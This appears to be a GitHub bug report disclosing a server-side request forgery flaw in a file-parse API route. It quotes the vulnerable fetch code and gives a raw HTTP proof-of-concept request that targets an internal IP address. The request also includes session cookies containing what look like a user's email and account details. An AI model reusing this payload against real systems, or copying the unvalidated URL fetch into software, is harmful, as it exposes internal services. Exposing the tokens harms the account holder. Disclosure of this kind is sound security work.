Skip to content

[BUG] SSRF Vulnerability #960

@NinjaGPT

Description

@NinjaGPT

SSRF Vulnerability


Summary

In the file parse functionality (/api/files/parse), the target URL is user-controllable and lacks sufficient security handling,
thus allowing attackers to exploit SSRF vulnerabilities to access internal hosts and services.

Details

  • apps\sim\app\api\files\parse\route.ts
/** * Main API route handler */ export async function POST(request: NextRequest) { const startTime = Date.now() try { const requestData = await request.json() const { filePath, fileType } = requestData if (!filePath) { return NextResponse.json({ success: false, error: 'No file path provided' }, { status: 400 }) } logger.info('File parse request received:', { filePath, fileType }) // Handle multiple files if (Array.isArray(filePath)) { const results = [] for (const path of filePath) { const result = await parseFileSingle(path, fileType) async function parseFileSingle(filePath: string, fileType?: string): Promise<ParseResult> { logger.info('Parsing file:', filePath) // Validate path for security before any processing const pathValidation = validateFilePath(filePath) if (!pathValidation.isValid) { return { success: false, error: pathValidation.error || 'Invalid path', filePath, } } // Check if this is an external URL if (filePath.startsWith('http://') || filePath.startsWith('https://')) { return handleExternalUrl(filePath, fileType) } /** * Handle external URL fetch */ async function handleExternalUrl(url: string, fileType?: string): Promise<ParseResult> { try { logger.info('Fetching external URL:', url) const response = await fetch(url, { signal: AbortSignal.timeout(DOWNLOAD_TIMEOUT_MS), 

POC

POST /api/files/parse HTTP/1.1 Host: localhost:3000 Content-Length: 45 sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36 content-type: application/json Accept: */* Origin: http://localhost:3000 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:3000/workspace/b5ee1640-82f8-4559-a253-6152dc9e1334/w/c0a7c749-a96a-42b7-a62f-5c2fa65cc6af Accept-Encoding: gzip, deflate, br Accept-Language: en,zh;q=0.9,zh-CN;q=0.8 Cookie: better-auth.session_token=ZNi156c8KJer1owBjpGaA0uwVZPFfXsM.M70n7k6XrE9XzrONUv0NMwaySkA1r3vBtAk8VNPSjoQ%3D; better-auth.session_data=eyJzZXNzaW9uIjp7InNlc3Npb24iOnsiZXhwaXJlc0F0IjoiMjAyNS0wOS0wM1QwMjowNzoyNS40ODVaIiwidG9rZW4iOiJaTmkxNTZjOEtKZXIxb3dCanBHYUEwdXdWWlBGZlhzTSIsImNyZWF0ZWRBdCI6IjIwMjUtMDgtMDRUMDI6MDc6MjUuNDg1WiIsInVwZGF0ZWRBdCI6IjIwMjUtMDgtMDRUMDI6MDc6MjUuNDg1WiIsImlwQWRkcmVzcyI6IjE3Mi4xOS4wLjEiLCJ1c2VyQWdlbnQiOiJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTE3LjAuNTkzOC4xMzIgU2FmYXJpLzUzNy4zNiIsInVzZXJJZCI6Im1KbUllc3Ryc1NPUUJxQm14YmRIOXByNDV0bUMxQUhpIiwiaWQiOiJvWnZzR0dneXEwTFdFVTZMZDJqR0xpZHhGZnVsYTI1QSJ9LCJ1c2VyIjp7Im5hbWUiOiJjaG9uZ2Z1anVuIiwiZW1haWwiOiIzMjA5NTE1MjIzQHFxLmNvbSIsImVtYWlsVmVyaWZpZWQiOmZhbHNlLCJpbWFnZSI6bnVsbCwiY3JlYXRlZEF0IjoiMjAyNS0wOC0wMlQwNzozNToyOC44MjVaIiwidXBkYXRlZEF0IjoiMjAyNS0wOC0wMlQwNzozNToyOC44MjVaIiwiaWQiOiJtSm1JZXN0cnNTT1FCcUJteGJkSDlwcjQ1dG1DMUFIaSJ9fSwiZXhwaXJlc0F0IjoxNzU0MzU5NjQ1NTEwLCJzaWduYXR1cmUiOiJtRk1HenBMWk5MVmpkWmxiNDcwalpVQmprQV9jWERtZjJpckpCVzI1a0RjIn0; has_logged_in_before=true Connection: close {"filePath":"http://192.168.31.118:88/"} 
image image

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions